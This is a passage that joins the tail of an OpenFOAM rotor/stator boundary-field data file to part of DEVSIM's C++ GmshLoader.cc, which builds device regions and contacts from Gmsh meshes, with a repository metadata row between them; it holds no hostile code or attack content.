0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
)
;
boundaryField
{
rotor
{
type calculated;
value nonuniform List<scalar>
192
(
1.3934e-09
2.87183e-09
-4.65068e-09
1.88384e-09
-3.08107e-09
3.59762e-09
-9.6243e-10
-3.35136e-09
2.25335e-09
2.6323e-09
2.37545e-10
1.18843e-09
-3.80913e-09
9.6135e-10
-2.55185e-09
5.71303e-09
-7.14451e-09
7.01458e-09
-3.9716e-09
3.10967e-09
-3.36593e-09
1.3962e-09
5.34569e-09
-8.1412e-09
1.3934e-09
2.87183e-09
-4.65068e-09
1.88384e-09
-3.08107e-09
3.59762e-09
-9.6243e-10
-3.35136e-09
2.25335e-09
2.6323e-09
2.37545e-10
1.18843e-09
-3.80913e-09
9.6135e-10
-2.55185e-09
5.71303e-09
-7.14451e-09
7.01458e-09
-3.9716e-09
3.10967e-09
-3.36593e-09
1.3962e-09
5.34569e-09
-8.1412e-09
1.3934e-09
2.87183e-09
-4.65068e-09
1.88384e-09
-3.08107e-09
3.59762e-09
-9.6243e-10
-3.35136e-09
2.25335e-09
2.6323e-09
2.37545e-10
1.18843e-09
-3.80913e-09
9.6135e-10
-2.55185e-09
5.71303e-09
-7.14451e-09
7.01458e-09
-3.9716e-09
3.10967e-09
-3.36593e-09
1.3962e-09
5.34569e-09
-8.1412e-09
1.3934e-09
2.87183e-09
-4.65068e-09
1.88384e-09
-3.08107e-09
3.59762e-09
-9.6243e-10
-3.35136e-09
2.25335e-09
2.6323e-09
2.37545e-10
1.18843e-09
-3.80913e-09
9.6135e-10
-2.55185e-09
5.71303e-09
-7.14451e-09
7.01458e-09
-3.9716e-09
3.10967e-09
-3.36593e-09
1.3962e-09
5.34569e-09
-8.1412e-09
0.000312258
0.000349
0.000385737
0.000422467
0.000459211
0.000495939
0.000532687
0.000569421
0.000606148
0.000642894
0.000679641
0.000716358
-0.000312258
-0.000349
-0.000385737
-0.000422467
-0.000459211
-0.000495939
-0.000532687
-0.000569421
-0.000606148
-0.000642894
-0.000679641
-0.000716358
0.000312258
0.000349
0.000385737
0.000422467
0.000459211
0.000495939
0.000532687
0.000569421
0.000606148
0.000642894
0.000679641
0.000716358
-0.000312258
-0.000349
-0.000385737
-0.000422467
-0.000459211
-0.000495939
-0.000532687
-0.000569421
-0.000606148
-0.000642894
-0.000679641
-0.000716358
0.000312258
0.000349
0.000385737
0.000422467
0.000459211
0.000495939
0.000532687
0.000569421
0.000606148
0.000642894
0.000679641
0.000716358
-0.000312258
-0.000349
-0.000385737
-0.000422467
-0.000459211
-0.000495939
-0.000532687
-0.000569421
-0.000606148
-0.000642894
-0.000679641
-0.000716358
0.000312258
0.000349
0.000385737
0.000422467
0.000459211
0.000495939
0.000532687
0.000569421
0.000606148
0.000642894
0.000679641
0.000716358
-0.000312258
-0.000349
-0.000385737
-0.000422467
-0.000459211
-0.000495939
-0.000532687
-0.000569421
-0.000606148
-0.000642894
-0.000679641
-0.000716358
)
;
}
stator
{
type calculated;
value uniform 0;
}
AMI1
{
type cyclicAMI;
value nonuniform List<scalar>
96
(
-1.06517e-08
8.66815e-09
-4.63185e-09
-2.56865e-09
-4.86905e-09
-5.667e-09
1.37659e-08
3.27097e-09
-8.1733e-09
-5.20515e-09
-6.61212e-09
2.84206e-09
1.64601e-08
-8.65215e-09
-1.26425e-09
-1.46782e-08
1.2045e-08
-1.37889e-08
6.17947e-09
5.86114e-09
4.76707e-09
1.02526e-08
-2.24902e-08
2.78262e-08
-1.06517e-08
8.66815e-09
-4.63185e-09
-2.56865e-09
-4.86905e-09
-5.667e-09
1.37659e-08
3.27097e-09
-8.1733e-09
-5.20515e-09
-6.61212e-09
2.84206e-09
1.64601e-08
-8.65215e-09
-1.26425e-09
-1.46782e-08
1.2045e-08
-1.37889e-08
6.17947e-09
5.86114e-09
4.76707e-09
1.02526e-08
-2.24902e-08
2.78262e-08
-1.06517e-08
8.66815e-09
-4.63185e-09
-2.56865e-09
-4.86905e-09
-5.667e-09
1.37659e-08
-5.63143e-09
-1.89675e-09
-5.20515e-09
-6.61212e-09
2.84206e-09
1.64601e-08
-8.65215e-09
-1.26425e-09
-1.46782e-08
1.2045e-08
-1.37889e-08
6.17947e-09
5.86114e-09
4.76707e-09
1.02526e-08
-2.24902e-08
2.78262e-08
-1.06517e-08
8.66815e-09
-4.63185e-09
-2.56865e-09
-4.86905e-09
-5.667e-09
1.37659e-08
3.27097e-09
-8.1733e-09
-5.20515e-09
-6.61212e-09
2.84206e-09
1.64601e-08
-8.65215e-09
-1.26425e-09
-1.46782e-08
1.2045e-08
-1.37889e-08
6.17947e-09
5.86114e-09
4.76707e-09
1.02526e-08
-2.24902e-08
2.78262e-08
)
;
}
AMI2
{
type cyclicAMI;
value uniform 0;
}
front
{
type empty;
value nonuniform 0();
}
back
{
type empty;
value nonuniform 0();
}
}
// ************************************************************************* //
| |
22db236501f7376d13ea7f702df18cdebf5f0fa1 | 14f085fe9db8179dd44c18f00c1184881dcfe21a | /src/meshing/GmshLoader.cc | 6d0ec95834d4d17cc35572d484a015b86694ca65 | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference",
"LicenseRef-scancode-warranty-disclaimer",
"BSD-3-Clause-Open-MPI",
"LGPL-2.1-or-later",
"LicenseRef-scancode-other-permissive",
"Python-2.0",
"BSL-1.0",
"BSD-2-Clause",
"MPL-2.0"
] | permissive | devsim/devsim | 7ba495952239d4e9c0170c0a5a89905aa9eb3e1e | 3d979d6a98685b2e51c15eebd20afdc1e643fc3a | refs/heads/main | 2023-08-31T10:40:41.346966 | 2023-08-30T16:42:56 | 2023-08-30T16:42:56 | 8,838,727 | 158 | 69 | Apache-2.0 | 2023-07-15T03:21:34 | 2013-03-17T18:01:17 | C++ | UTF-8 | C++ | false | false | 26,690 | cc | GmshLoader.cc | /***
DEVSIM
Copyright 2013 DEVSIM LLC
SPDX-License-Identifier: Apache-2.0
***/
#include "GmshLoader.hh"
#include "OutputStream.hh"
#include "Region.hh"
#include "GlobalData.hh"
#include "Device.hh"
#include "Coordinate.hh"
#include "Contact.hh"
#include "Interface.hh"
#include "dsAssert.hh"
#include "Node.hh"
#include "Edge.hh"
#include "Triangle.hh"
#include "Tetrahedron.hh"
#include "ModelCreate.hh"
#include "MeshLoaderUtility.hh"
#include <sstream>
namespace dsMesh {
namespace {
void processNodes(const MeshNodeList_t &mnlist, const std::vector<Coordinate *> &clist, std::vector<Node *> &node_list)
{
node_list.clear();
node_list.resize(clist.size());
MeshNodeList_t::const_iterator mnit = mnlist.begin();
for (; mnit != mnlist.end(); ++mnit)
{
const size_t index = mnit->Index();
dsAssert(index < clist.size(), "UNEXPECTED");
dsAssert(clist[index] != 0, "UNEXPECTED");
Node *tp = new Node(index, clist[index]);
node_list[index] = tp;
}
}
void processEdges(const MeshEdgeList_t &tl, const std::vector<Node *> &nlist, std::vector<const Edge *> &edge_list)
{
MeshEdgeList_t::const_iterator tit = tl.begin();
for (size_t ti = 0; tit != tl.end(); ++tit, ++ti)
{
const size_t index0 = tit->Index0();
const size_t index1 = tit->Index1();
dsAssert(index0 < nlist.size(), "UNEXPECTED");
dsAssert(index1 < nlist.size(), "UNEXPECTED");
dsAssert(nlist[index0] != 0, "UNEXPECTED");
dsAssert(nlist[index1] != 0, "UNEXPECTED");
Edge *tp = new Edge(ti, nlist[index0], nlist[index1]);
edge_list.push_back(tp);
}
}
void processTriangles(const MeshTriangleList_t &tl, const std::vector<Node *> &nlist, std::vector<const Triangle *> &triangle_list)
{
MeshTriangleList_t::const_iterator tit = tl.begin();
for (size_t ti = 0; tit != tl.end(); ++tit, ++ti)
{
const size_t index0 = tit->Index0();
const size_t index1 = tit->Index1();
const size_t index2 = tit->Index2();
dsAssert(index0 < nlist.size(), "UNEXPECTED");
dsAssert(index1 < nlist.size(), "UNEXPECTED");
dsAssert(index2 < nlist.size(), "UNEXPECTED");
// size_t nlistsize = nlist.size();
dsAssert(nlist[index0] != 0, "UNEXPECTED");
dsAssert(nlist[index1] != 0, "UNEXPECTED");
dsAssert(nlist[index2] != 0, "UNEXPECTED");
Triangle *tp = new Triangle(ti, nlist[index0], nlist[index1], nlist[index2]);
triangle_list.push_back(tp);
}
}
void processTetrahedra(const MeshTetrahedronList_t &tl, const std::vector<Node *> &nlist, std::vector<const Tetrahedron *> &tetrahedron_list)
{
MeshTetrahedronList_t::const_iterator tit = tl.begin();
for (size_t ti = 0; tit != tl.end(); ++tit, ++ti)
{
const size_t index0 = tit->Index0();
const size_t index1 = tit->Index1();
const size_t index2 = tit->Index2();
const size_t index3 = tit->Index3();
dsAssert(index0 < nlist.size(), "UNEXPECTED");
dsAssert(index1 < nlist.size(), "UNEXPECTED");
dsAssert(index2 < nlist.size(), "UNEXPECTED");
dsAssert(index3 < nlist.size(), "UNEXPECTED");
dsAssert(nlist[index0] != 0, "UNEXPECTED");
dsAssert(nlist[index1] != 0, "UNEXPECTED");
dsAssert(nlist[index2] != 0, "UNEXPECTED");
dsAssert(nlist[index3] != 0, "UNEXPECTED");
// std::cerr << "DEBUG ";
// std::cerr
// << nlist[index0]->GetIndex() << "\t"
// << nlist[index1]->GetIndex() << "\t"
// << nlist[index2]->GetIndex() << "\t"
// << nlist[index3]->GetIndex() << "\t"
// << std::endl;
// ;
Tetrahedron *tp = new Tetrahedron(ti, nlist[index0], nlist[index1], nlist[index2], nlist[index3]);
tetrahedron_list.push_back(tp);
}
}
}
GmshLoader::GmshLoader(const std::string &n) : Mesh(n), dimension(0), maxCoordinateIndex(0)
{
//// Arbitrary number
meshCoordinateList.reserve(1000);
//// handle dimensions 1,2,3
physicalDimensionIndexNameMap.resize(4);
}
;
GmshLoader::~GmshLoader() {
#if 0
DeletePointersFromVector<MeshCoordinateList_t>(meshCoordinateList);
DeletePointersFromMap<MeshRegionList_t>(regionList);
DeletePointersFromMap<MeshInterfaceList_t>(interfaceList);
DeletePointersFromMap<MeshContactList_t>(contactList);
#endif
}
void GmshLoader::GetUniqueNodesFromPhysicalNames(const std::vector<std::string> &pnames, MeshNodeList_t &mnlist)
{
mnlist.clear();
for (std::vector<std::string>::const_iterator pit = pnames.begin(); pit != pnames.end(); ++pit)
{
const std::string &pname = *pit;
const MeshNodeList_t &pnlist = gmshShapesMap[pname].Points;
for (MeshNodeList_t::const_iterator nit = pnlist.begin(); nit != pnlist.end(); ++nit)
{
mnlist.push_back(*nit);
}
}
/// Remove overlapping nodes
std::sort(mnlist.begin(), mnlist.end());
MeshNodeList_t::iterator elnewend = std::unique(mnlist.begin(), mnlist.end());
mnlist.erase(elnewend, mnlist.end());
}
void GmshLoader::GetUniqueTetrahedraFromPhysicalNames(const std::vector<std::string> &pnames, MeshTetrahedronList_t &mnlist)
{
mnlist.clear();
for (std::vector<std::string>::const_iterator pit = pnames.begin(); pit != pnames.end(); ++pit)
{
const std::string &pname = *pit;
const MeshTetrahedronList_t &pnlist = gmshShapesMap[pname].Tetrahedra;
for (MeshTetrahedronList_t::const_iterator nit = pnlist.begin(); nit != pnlist.end(); ++nit)
{
mnlist.push_back(*nit);
}
}
/// Remove overlapping nodes
std::sort(mnlist.begin(), mnlist.end());
MeshTetrahedronList_t::iterator elnewend = std::unique(mnlist.begin(), mnlist.end());
mnlist.erase(elnewend, mnlist.end());
}
void GmshLoader::GetUniqueTrianglesFromPhysicalNames(const std::vector<std::string> &pnames, MeshTriangleList_t &mnlist)
{
mnlist.clear();
for (std::vector<std::string>::const_iterator pit = pnames.begin(); pit != pnames.end(); ++pit)
{
const std::string &pname = *pit;
const MeshTriangleList_t &pnlist = gmshShapesMap[pname].Triangles;
for (MeshTriangleList_t::const_iterator nit = pnlist.begin(); nit != pnlist.end(); ++nit)
{
mnlist.push_back(*nit);
}
}
/// Remove overlapping nodes
std::sort(mnlist.begin(), mnlist.end());
MeshTriangleList_t::iterator elnewend = std::unique(mnlist.begin(), mnlist.end());
mnlist.erase(elnewend, mnlist.end());
}
void GmshLoader::GetUniqueEdgesFromPhysicalNames(const std::vector<std::string> &pnames, MeshEdgeList_t &mnlist)
{
mnlist.clear();
for (std::vector<std::string>::const_iterator pit = pnames.begin(); pit != pnames.end(); ++pit)
{
const std::string &pname = *pit;
const MeshEdgeList_t &pnlist = gmshShapesMap[pname].Lines;
for (MeshEdgeList_t::const_iterator nit = pnlist.begin(); nit != pnlist.end(); ++nit)
{
mnlist.push_back(*nit);
}
}
/// Remove overlapping nodes
std::sort(mnlist.begin(), mnlist.end());
MeshEdgeList_t::iterator elnewend = std::unique(mnlist.begin(), mnlist.end());
mnlist.erase(elnewend, mnlist.end());
}
bool GmshLoader::Instantiate_(const std::string &deviceName, std::string &errorString)
{
bool ret = true;
GlobalData &gdata = GlobalData::GetInstance();
if (gdata.GetDevice(deviceName))
{
std::ostringstream os;
os << deviceName << " already exists\n";
errorString += os.str();
ret = false;
return ret;
}
DevicePtr dp = new Device(deviceName, dimension);
gdata.AddDevice(dp);
Device::CoordinateList_t coordinate_list(maxCoordinateIndex+1);
size_t ccount = 0;
for (MeshCoordinateList_t::const_iterator it=meshCoordinateList.begin(); it != meshCoordinateList.end(); ++it)
{
const MeshCoordinate &mc = (it->second);
CoordinatePtr new_coordinate = new Coordinate(mc.GetX(), mc.GetY(), mc.GetZ());
coordinate_list[it->first] = new_coordinate;
dp->AddCoordinate(new_coordinate);
++ccount;
}
{
std::ostringstream os;
os << "Device " << deviceName << " has " << ccount << " coordinates with max index " << maxCoordinateIndex << "\n";
OutputStream::WriteOut(OutputStream::OutputType::INFO, os.str());
}
std::map<std::string, std::vector<NodePtr> > RegionNameToNodeMap;
//// For each name in the region map, we create a list of nodes which are indexes
[this, &RegionNameToNodeMap, dp, &coordinate_list]()
{
MeshNodeList_t mesh_nodes;
MeshTetrahedronList_t mesh_tetrahedra;
MeshTriangleList_t mesh_triangles;
MeshEdgeList_t mesh_edges;
ConstTetrahedronList tetrahedronList;
ConstTriangleList triangleList;
ConstEdgeList edgeList;
for (MapToRegionInfo_t::const_iterator rit = regionMap.begin(); rit != regionMap.end(); ++rit)
{
mesh_nodes.clear();
mesh_tetrahedra.clear();
mesh_triangles.clear();
mesh_edges.clear();
tetrahedronList.clear();
triangleList.clear();
edgeList.clear();
const std::string ®ionName = rit->first;
const GmshRegionInfo &rinfo = rit->second;
const std::vector<std::string> &pnames = rinfo.physical_names;
Region *regionptr = dp->GetRegion(regionName);
if (!regionptr)
{
regionptr = new Region(regionName, rinfo.material, dimension, dp);
dp->AddRegion(regionptr);
}
Region ®ion = *regionptr;
GetUniqueNodesFromPhysicalNames(pnames, mesh_nodes);
std::vector<NodePtr> &nodeList = RegionNameToNodeMap[regionName];
processNodes(mesh_nodes, coordinate_list, nodeList);
size_t ncount = 0;
for (std::vector<NodePtr>::const_iterator nit = nodeList.begin(); nit != nodeList.end(); ++nit)
{
NodePtr np = *nit;
if (np)
{
region.AddNode(np);
++ncount;
}
}
{
std::ostringstream os;
os << "Region " << regionName << " has " << ncount << " nodes.\n";
OutputStream::WriteOut(OutputStream::OutputType::INFO, os.str());
}
if (dimension == 3)
{
GetUniqueTetrahedraFromPhysicalNames(pnames, mesh_tetrahedra);
processTetrahedra(mesh_tetrahedra, nodeList, tetrahedronList);
region.AddTetrahedronList(tetrahedronList);
}
if (dimension >= 2)
{
GetUniqueTrianglesFromPhysicalNames(pnames, mesh_triangles);
processTriangles(mesh_triangles, nodeList, triangleList);
region.AddTriangleList(triangleList);
}
GetUniqueEdgesFromPhysicalNames(pnames, mesh_edges);
processEdges(mesh_edges, nodeList, edgeList);
region.AddEdgeList(edgeList);
region.FinalizeMesh();
CreateDefaultModels(®ion);
}
}();
//// Now process the contact
[this, &RegionNameToNodeMap, dp, &ret](){
MeshNodeList_t mesh_nodes;
MeshEdgeList_t mesh_edges;
MeshTriangleList_t mesh_triangles;
ConstNodeList cnodes;
ConstEdgeList cedges;
ConstTriangleList ctriangles;
for (MapToContactInfo_t::const_iterator cit = contactMap.begin(); cit != contactMap.end(); ++cit)
{
mesh_nodes.clear();
mesh_edges.clear();
mesh_triangles.clear();
const std::string &contactName = cit->first;
const GmshContactInfo &cinfo = cit->second;
const std::string ®ionName = cinfo.region;
const std::string &materialName = cinfo.material;
if (!RegionNameToNodeMap.count(regionName))
{
std::ostringstream os;
os << "Contact " << contactName << " references non-existent region name " << regionName << ".\n";
OutputStream::WriteOut(OutputStream::OutputType::ERROR, os.str());
ret = false;
continue;
}
const std::vector<NodePtr> &nodeList = RegionNameToNodeMap[regionName];
const std::vector<std::string> &pnames = cinfo.physical_names;
GetUniqueNodesFromPhysicalNames(pnames, mesh_nodes);
GetUniqueEdgesFromPhysicalNames(pnames, mesh_edges);
GetUniqueTrianglesFromPhysicalNames(pnames, mesh_triangles);
if (dimension == 2 && !mesh_triangles.empty())
{
std::ostringstream os;
os << "Contact " << contactName << " region name " << regionName << " must be 1 dimensional to be a contact.\n";
OutputStream::WriteOut(OutputStream::OutputType::ERROR, os.str());
ret = false;
}
else if (dimension == 1 && !mesh_edges.empty())
{
// mesh edges get created during mesh finalize
std::ostringstream os;
os << "Contact " << contactName << " region name " << regionName << " must be 0 dimensional to be a contact.\n";
OutputStream::WriteOut(OutputStream::OutputType::ERROR, os.str());
ret = false;
}
Region *regionptr = dp->GetRegion(regionName);
if (!regionptr)
{
std::ostringstream os;
os << "Contact " << contactName << " references non-existent region name " << regionName << ".\n";
OutputStream::WriteOut(OutputStream::OutputType::ERROR, os.str());
ret = false;
continue;
}
// Region ®ion = *regionptr;
Contact *contactptr = dp->GetContact(contactName);
if (contactptr)
{
std::ostringstream os;
os << "Contact " << contactName << " on region " << regionName << " being instantiated multiple times.\n";
OutputStream::WriteOut(OutputStream::OutputType::ERROR, os.str());
ret = false;
continue;
}
cnodes.clear();
cedges.clear();
ctriangles.clear();
for (MeshNodeList_t::const_iterator tnit = mesh_nodes.begin(); tnit != mesh_nodes.end(); ++tnit)
{
size_t cindex = tnit->Index();
if (cindex > maxCoordinateIndex)
{
std::ostringstream os;
os << "Contact " << contactName << " reference coordinate " << cindex << " which does not exist on any region.\n";
OutputStream::WriteOut(OutputStream::OutputType::ERROR, os.str());
ret = false;
continue;
}
ConstNodePtr np = nodeList[cindex];
if (np)
{
cnodes.push_back(np);
}
else
{
std::ostringstream os;
os << "Contact " << contactName << " reference coordinate " << cindex << " not on region " << regionName << ".\n";
OutputStream::WriteOut(OutputStream::OutputType::ERROR, os.str());
ret = false;
continue;
}
}
if (cnodes.empty())
{
std::ostringstream os;
os << "Contact " << contactName << " does not reference any nodes on region " << regionName << " .\n";
OutputStream::WriteOut(OutputStream::OutputType::ERROR, os.str());
ret = false;
continue;
}
// All of our contact nodes should exist
ConstNodePtr mesh_edge_nodes[2];
for (MeshEdgeList_t::const_iterator tnit = mesh_edges.begin(); tnit != mesh_edges.end(); ++tnit)
{
mesh_edge_nodes[0] = nodeList[tnit->Index0()];
mesh_edge_nodes[1] = nodeList[tnit->Index1()];
ConstEdgePtr tedge = regionptr->FindEdge(mesh_edge_nodes[0], mesh_edge_nodes[1]);
if (tedge)
{
cedges.push_back(tedge);
}
}
ConstNodePtr mesh_triangle_nodes[3];
for (MeshTriangleList_t::const_iterator tnit = mesh_triangles.begin(); tnit != mesh_triangles.end(); ++tnit)
{
mesh_triangle_nodes[0] = nodeList[tnit->Index0()];
mesh_triangle_nodes[1] = nodeList[tnit->Index1()];
mesh_triangle_nodes[2] = nodeList[tnit->Index2()];
ConstTrianglePtr ttriangle = regionptr->FindTriangle(mesh_triangle_nodes[0], mesh_triangle_nodes[1], mesh_triangle_nodes[2]);
if (ttriangle)
{
ctriangles.push_back(ttriangle);
}
}
ContactPtr cp = new Contact(contactName, regionptr, cnodes, materialName);
dp->AddContact(cp);
cp->AddTriangles(ctriangles);
cp->AddEdges(cedges);
std::ostringstream os;
os << "Contact " << contactName << " in region " << regionName << " with " << cnodes.size() << " nodes" << "\n";
OutputStream::WriteOut(OutputStream::OutputType::INFO, os.str());
}
}();
[this, &RegionNameToNodeMap, dp, &ret](){
ConstNodeList inodes[2];
